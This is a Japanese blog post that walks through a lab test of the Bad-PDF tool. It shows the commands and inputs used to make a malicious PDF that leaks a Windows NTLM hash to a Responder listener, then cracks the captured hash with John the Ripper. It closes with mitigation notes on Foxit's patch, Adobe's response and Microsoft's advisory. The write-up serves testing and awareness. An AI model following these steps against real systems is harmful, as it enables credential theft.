とある親父の侵入実験【Bad-PDFを使ってみた】

f:id:appleseedj073:20180311215026p:plain

2018年のGW前半に「Bad-PDF」というツールが公開されていたので、どんなものか試しに使ってみた。事の発端は、4月29日のこのツイート

 最近公開された脆弱性を利用してNTLMハッシュを盗み出す悪意のあるPDFファイルを作れるようのことを言ってる。実際にどんなものか検証した。

 

 

ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。

 

 

1・環境

  • 攻撃PC(Kali Linux) 192.168.55.128
  • やられPC(Windows7) 192.168.55.130

2・準備

Githubより「Bad-PDF」をダウンロードする。

github.com

次にbadpdf.pyに実行権を付与する。面倒だからchmod 777で処置w

 chmod 777 badpdf.py

f:id:appleseedj073:20180516002853p:plain

3・実行

実行権を付与したbadpdf.pyを実行する。

 ./badpdf.py

f:id:appleseedj073:20180516003147p:plain

必要な項目を入力していく

 Please enter responder path (Default /usr/bin/responder): 
 /usr/sbin/responder ←responderのパスを指定
 Please enter Bad-PDF host IP: 
 192.168.55.128 ←自分のIPアドレス
 Please enter output file name: 
 sample.pdf ←作成するPDFファイルの名前
 Please enter the interface name to listen(Default eth0): 
 eth0 ←待ち受けるインターフェース

f:id:appleseedj073:20180516003828p:plain

必要項目への入力が終わるとresponderが起動し待ち受け状態になる

f:id:appleseedj073:20180516004103p:plain

ちなみに先ほど項目を指定して作成したPDFファイルは、badpdf.pyを起動した場所と同じところに生成されている。

f:id:appleseedj073:20180516004259p:plain

このPDFファイルを「やられPC」側に配置し実行すると・・・

f:id:appleseedj073:20180516004641p:plain

見事にやられPCのNTLMハッシュが流れてきた!

次に、このハッシュ部分をテキストファイル(今回はファイル名:hash)として保存する。

f:id:appleseedj073:20180516005137p:plain

作成したハッシュファイルをjohnで解析する。

 john hash

f:id:appleseedj073:20180516005552p:plain

ユーザ名:Victim

パスワード:pass1234

簡単なパスワード使っていたせいもあるけどわずか1分程度でNTLMハッシュが解析する事ができた。

4・まとめ

このBad-PDFを使ってユーザ情報を盗み出すには、そもそも対象と同じネットワークに接続していないと難しそう。しかし、長期的な攻撃キャンペーンなどでは、もしかすると悪用されてしまう可能性もあるのかな?と考える。

5・おまけ

みんなが大好きvirustotalの結果を貼っておくと、このブログを書いた今日(2018年5月16日)現在、検出率は0/57で悪意のあるものとは判断されていません。

f:id:appleseedj073:20180516010907p:plain

追加

2018/05/17 0:10追加

対策について触れていないというご指導を賜りましたので、教えていただいた情報を元にできる範囲内で検証してみました。(どうしても攻撃手法にばかり目がいって対策とかの守る側のスタンスを疎かにしてしまってます^^;)

 まず、脆弱性への対応はFoxitは9.1で対応。しかし、adobeは以下の理由から対応しない様です。以下、引用

Adobe responded as shown below, without assigning any CVE or fix for the vulnerability:

Thank you for checking in on this case.  Microsoft issued an optional security enhancement [0] late last year that provides customers with the ability to disable NTLM SSO authentication as a method for public resources.  With this mitigation available to customers, we are not planning to make changes in Acrobat.“

全文についてはこちら

research.checkpoint.com

要するに、マイクロソフト側で「Windows NTLM SSO 認証の変更」という形でNTLM SSO認証を無効にすることができるので、Acrobatでは処置しませんということらしい。

では、そのマイクロソフトの対応とは何なのかというと

https://portal.msrc.microsoft.com/ja-jp/security-guidance/advisory/ADV170014

Windows NTLM SSO認証のセキュリティ強化をリリースし、この新しいセキュリティ強化を展開した場合、攻撃者は組織外の悪意のあるリソースにユーザーをリダイレクトして、NTLM 認証メッセージを取得することができなくなる。また、この設定にはレジストリの設定を変更する必要がある。

また、このアドバイザリでは以下の様にもいっている。

NTLM を使用するすべてのバージョンの Windows は、この種類の攻撃を受ける可能性があります。古いバージョンの Windows ファイアウォールには制限があるため、マイクロソフトWindows 10 および Server 2016 でのみこの新しい動作をリリースし、この新しい動作の使用について古いオペレーティング システムを除外しています。マイクロソフトは、最新の最も安全な製品にアップグレードすることをお勧めします。 

要するに最新のOSを最新の状態にアップグレードすることを推奨している様子。 

今後、マイクロソフトの対応がどの様にBad-PDFに対して有効なのかを検証し追記していく。